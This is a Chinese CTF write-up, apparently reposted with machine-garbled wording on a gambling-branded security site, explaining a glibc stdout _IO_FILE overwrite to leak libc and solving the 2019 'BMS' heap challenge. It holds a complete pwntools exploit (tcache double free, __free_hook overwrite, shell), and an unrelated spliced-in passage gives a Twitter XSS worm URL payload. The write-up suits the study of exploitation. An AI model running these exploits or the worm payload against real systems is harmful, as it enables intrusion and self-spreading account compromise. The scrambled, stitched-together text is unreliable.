从一题看应用IO_file to leak | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

从一题看应用IO_file to leak

申博_安全防护 申博 148次浏览 已收录 0个评论

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

从一题看应用IO_file to leak

应用io_file的构造去leak的思绪是来自HITCON2018中angboy出的一个baby_tcache,个中要leak出libc地点,采用了掩盖stdout构造体中_IO_write_base,然后应用puts函数的事情机制到达了leak的目的。

源码剖析

起首我们先要相识一下puts函数是怎样挪用的

其是由_IO_puts函数完成,其内部挪用_IO_sputn,接着实行_IO_new_file_xsputn,终究会实行_IO_overflow

来看一下关于_IO_puts的相干源码:

int
_IO_puts (const char *str)
{
  int result = EOF;
  _IO_size_t len = strlen (str);
  _IO_acquire_lock (_IO_stdout);

  if ((_IO_vtable_offset (_IO_stdout) != 0
       || _IO_fwide (_IO_stdout, -1) == -1)
      && _IO_sputn (_IO_stdout, str, len) == len
      && _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
    result = MIN (INT_MAX, len + 1);

  _IO_release_lock (_IO_stdout);
  return result;
}

_IO_new_file_overflow的相干源码:

int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
    ......
    ......
    }
  if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,
             f->_IO_write_ptr - f->_IO_write_base); //掌握的目的
  if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */当两个地点相称就不会打印这个段。
    if (_IO_do_flush (f) == EOF)
      return EOF;
  *f->_IO_write_ptr++ = ch;
  if ((f->_flags & _IO_UNBUFFERED)
      || ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
    if (_IO_do_write (f, f->_IO_write_base,
              f->_IO_write_ptr - f->_IO_write_base) == EOF)
      return EOF;
  return (unsigned char) ch;
}

又上面的源码可知,当IO_write_ptr_IO_buf_end不想等的时刻就会打印者之间的字符,个中就有可以或许会有我们须要的leak,我们再接着看一下函数_IO_do_write,这个函数现实挪用的时刻会用到new_do_write函数,其参数与之前一样。

static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
  _IO_size_t count;
  if (fp->_flags & _IO_IS_APPENDING)
    fp->_offset = _IO_pos_BAD;
  else if (fp->_IO_read_end != fp->_IO_write_base)
    {
      _IO_off64_t new_pos
    = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
      if (new_pos == _IO_pos_BAD)
    return 0;
      fp->_offset = new_pos;
    }
  count = _IO_SYSWRITE (fp, data, to_do);   //这里终究挪用sysewrite来做到写的功用.
  if (fp->_cur_column && count)
    fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
  _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
  fp->_IO_write_end = (fp->_mode <= 0
               && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
               ? fp->_IO_buf_base : fp->_IO_buf_end);
  return count;
}

重要看函数的count赋值的那个地方,data=_IO_write_base,size=_IO_write_ptr - _IO_wirte_base就是这之间的间隔,然后末了会return的count完成leak。ps:个中为了防备其进入else if 分支须要设置fp->_flags & _IO_IS_APPENDING返回1.
关于个中更多的信息可以或许检察链接

io_file信息

例题-国赛BMS

问题是来自2019国赛的题,这个问题可以或许比较简单的去应用所学的这个leak要领,先看看顺序的重要逻辑。

静态剖析

main

main函数吧,这里是去了标记,我已重命名好了函数名。总共有3个功用add,delete和exit。这里没有show函数。。就让人很苦恼了。

BugBounty:Twitter 蠕虫XSS

概述 在2018年中期,我在推特最不可能出现XSS漏洞的地方——tweet处(转发),找到了一个储存型XSS漏洞。这个储存型XSS有些特殊,它可以转化为一次完全成熟的XSS蠕虫攻击。如果您对XSS蠕虫的概念尚不了解,你可以在维基百科上了解更多。 Exploit 为了方便后续解释这次奇特的XSS蠕虫,这里我先给出利用代码。在Twitter修复该漏洞之前,转发下面这个URL将会创建一个XSS蠕虫,并在整个Twitterverse上从一个账户传播到另一个账户。 https://twitter.com/messages/compose?recipient_id=988260476659404801&welcome_message_id=988274596427304964&text=%3C%3Cx%3E/script%3E%3C%3Cx%3Eiframe%20id%3D__twttr%20src%3D/intent/retweet%3Ftweet_id%3D1114986988128624640%3E%3C%3Cx%3E/iframe%3E%3C%3Cx%3Escript%20src%3D//syndication.twimg.com/timeline/profile%3Fcallback%3D__twttr/alert%3Buser_id%3D12%3E%3C%3Cx%3E/script%3E%3C%3Cx%3Escript%20src%3D//syndication.twimg.com/timeline/profile%3Fcallback%3D__twttr/frames%5B0%5D.retweet_btn_form.submit%3Buser_id%3D12%3E “为什么会这样?这只是一个链接而已”,你可能感到不解。但是朋友,这不是一个普通的链接,而

从一题看应用IO_file to leak

add

看逻辑是先给你malloc了一个0x20的堆块用来寄存book name然后让你本身掌握巨细去请求,这里请求的堆块巨细有限定应当是在0<x<0x60之间。

从一题看应用IO_file to leak

delete

bug点在这个函数里,是在free以后没有对全局变量举行一个置0操纵致使了uaf破绽的发生。

从一题看应用IO_file to leak

疑问点:这里会疑问是不是是含有tache的一个libc版本?以是发起在竞赛的时刻尝尝,若是长途报错了那就是一般的fastbin,那若是没报错就是tache了。这里经由测试发明长途是libc2.27以上的版本。

大抵思绪剖析

  1. 应用uaf改堆块的fd到stdout使得我们可以或许对_IO_file构造举行一波操纵。
  2. 改写完_IO_write_base以后举行leak获取到字符串
  3. 改写_free_hooksystem然后free含有/bin/sh字符的堆块到达getshell的目的。

exp剖析

大抵的把全部exp的流程剖析一下。

挟制stdout

new("1234567",0x60,"1234567")
delet(0)
delet(0)
new("1234567",0x60,p64(0x602020))
new("1234567",0x60,"\x20")#这里的"\x20"是依据libc举行变更的。改成stdout地点从而挟制这个构造体
new("1234567",0x60,"\x20")

重要的挟制stdout构造体然后举行变动。

变动构造体

new("1234567",0x60,p64(0xfbad1800) + p64(0)*3 + "\x00")
leak = r.recv(0x20)
leak = leak[0x18:]
leak_Addr = u64(leak[:6].ljust(8,"\x00"))-e.symbols["_IO_file_jumps"]
print hex(leak_Addr)

这里变动构造体构造体的代码

struct _IO_FILE {
int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

/*  char* _save_gptr;  char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

可见这里我们的目的就是改了第四个参数,有了这个构造应当不难理解exp中为何是p64(0)+”\x00″了。

getshell

这里就是一个通例思绪了,可以或许瞥见我的exp内里现实上是原来用的onegadget,末了是发明了用不了改用了_free_hook去变动。

one = leak_Addr+0x47c9a
new("1234567",0x30,"1234567")
new("/bin/sh",0x40,"/bin/sh")
delet(5)
delet(5)
new("1234567",0x30,p64(leak_Addr+0x3DC8A8))
new("1234567",0x30,p64(leak_Addr+0x3DC8A8))
new("1234567",0x30,p64(leak_Addr+0x47DC0))
delet(6)
r.interactive()

总结

实在问题的难度就在你怎样推断libc和怎样去leak上,绕过这两点就没有什么实质性的难度了,也算是get了一个新姿态,文末一样平常膜ch4r1l3师傅

末了完全exp

from pwn import *

debug=0
context.log_level='debug'

a = ELF("./bms")
e = a.libc
print hex(e.symbols["__free_hook"])
#print hex(e.symbols["_IO_stdfile_2_lock"])
#a = ELF("./bms")
#e = a.libc
if debug:
    r=process('./bms')#,env={'LD_PRELOAD':'./libc6_2.26-0ubuntu2.1_amd64.so'})
    gdb.attach(r)
else:
    r=remote("90b826377a05d5e9508314e76f2f1e4e.kr-lab.com",40001)
def ru(x):
    return r.recvuntil(x)

def se(x):
    r.send(x)

def sl(x):
    r.sendline(x)

def new(name,size,content):
    r.recvuntil(">")
    r.sendline("1")
    r.recvuntil("book name:")
    r.sendline(str(name))
    r.recvuntil("description size:")
    r.sendline(str(size))
    r.recvuntil("description:")
    r.send(str(content))

def view(index):
    r.recvuntil("> ")
    r.sendline("2")
    r.recvuntil("Info index: ")
    r.sendline(str(index))

def delet(idx):
    r.recvuntil(">")
    r.sendline("2")
    r.recvuntil("index:")
    r.sendline(str(idx))

def edit(idx,content):
    r.recvuntil("> ")
    r.sendline("3")
    r.recvuntil("Info index: ")
    r.sendline(str(idx))
    r.sendline(content)
def new0(name,size,content):
    r.recvuntil(">")
    r.sendline("1")
    r.recvuntil("book name:")
    r.sendline(str(name))
    r.recvuntil("description size:")
    r.sendline(str(size))
    r.recvuntil("description:")
    r.sendline(str(content))

r.recvuntil("username:")
r.sendline("admin")
r.recvuntil("password:")
r.sendline("frame")
new("1234567",0x60,"1234567")
delet(0)
delet(0)
new("1234567",0x60,p64(0x602020))
new("1234567",0x60,"\x20")
new("1234567",0x60,"\x20")
raw_input()
new("1234567",0x60,p64(0xfbad1800) + p64(0)*3 + "\x00")
leak = r.recv(0x20)
leak = leak[0x18:]
leak_Addr = u64(leak[:6].ljust(8,"\x00"))-e.symbols["_IO_file_jumps"]
print hex(leak_Addr)
one = leak_Addr+0x47c9a
new("1234567",0x30,"1234567")
new("/bin/sh",0x40,"/bin/sh")
delet(5)
delet(5)
new("1234567",0x30,p64(leak_Addr+0x3DC8A8))
new("1234567",0x30,p64(leak_Addr+0x3DC8A8))
new("1234567",0x30,p64(leak_Addr+0x47DC0))
delet(6)
r.interactive()
'''
free_hook = leak_Addr+e.symbols["__free_hook"]
new("1234567",0x30,"1234567")#4
delet(5)
delet(5)
new("1234567",0x30,p64(free_hook))
new("1234567",0x30,p64(one))
new("1234567",0x30,p64(one))
'''
#r.interactive()


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明从一题看应用IO_file to leak
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址